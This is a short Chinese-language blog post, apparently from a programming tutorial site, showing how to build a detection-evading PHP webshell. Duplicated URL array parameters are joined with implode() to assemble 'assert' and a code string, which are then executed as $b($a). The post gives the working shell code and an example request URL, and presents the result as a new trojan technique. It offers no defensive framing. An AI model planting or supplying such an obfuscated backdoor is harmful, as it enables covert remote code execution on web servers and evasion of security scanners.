好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

利用重复参数数组变量构造php免杀shell - 网站安全

 最近发现php一个很2b的字符串构造数组的方法:

 

<?php

$str = "a[]=1&a[]=2&b[]=3"; parse_str($str, $arr); print_r($arr); ?以上代码返回结果为:

Array ( [a] => Array ( [0] => 1 [1] => 2 ) [b] => Array ( [0] => 3 ) ) 

 

也就是说当字符后面跟随[[]]符号,并且有多个相似结构的时候,返回的数组中会将该字符作为键名,并对应生成一个array键值,内容为该字符在字符串中等于的各个值(太绕了,看代码应该很容易理解)。

 

那么现在就产生一个问题,假如说一个url是这样的:

我们使用var_dump($_GET['p1'])得到的依据环境不同可能为v1或v4,如果我把p1修改为p1[]呢?

返回的将是Array ( [p1] => Array ( [0] => v1 [1] => v4 ) )

 

哈哈,你们已经想到了吧,我们把url修改为这样:

http://www.2cto.com /1.php?p1[]=phpinfo&p2[]=ass&p3=v3&p1[]=();&p2[]=ert

假如php代码这样写:

 

<?php

$a=implode("",$_GET['p1']); $b=implode("",$_GET['p2']); var_dump($_GET['p1']); var_dump($_GET['p2']); $b($a); ?>又一种新的php木马产生,见证奇迹的时刻!​

 

查看更多关于利用重复参数数组变量构造php免杀shell - 网站安全的详细内容...

  阅读:37次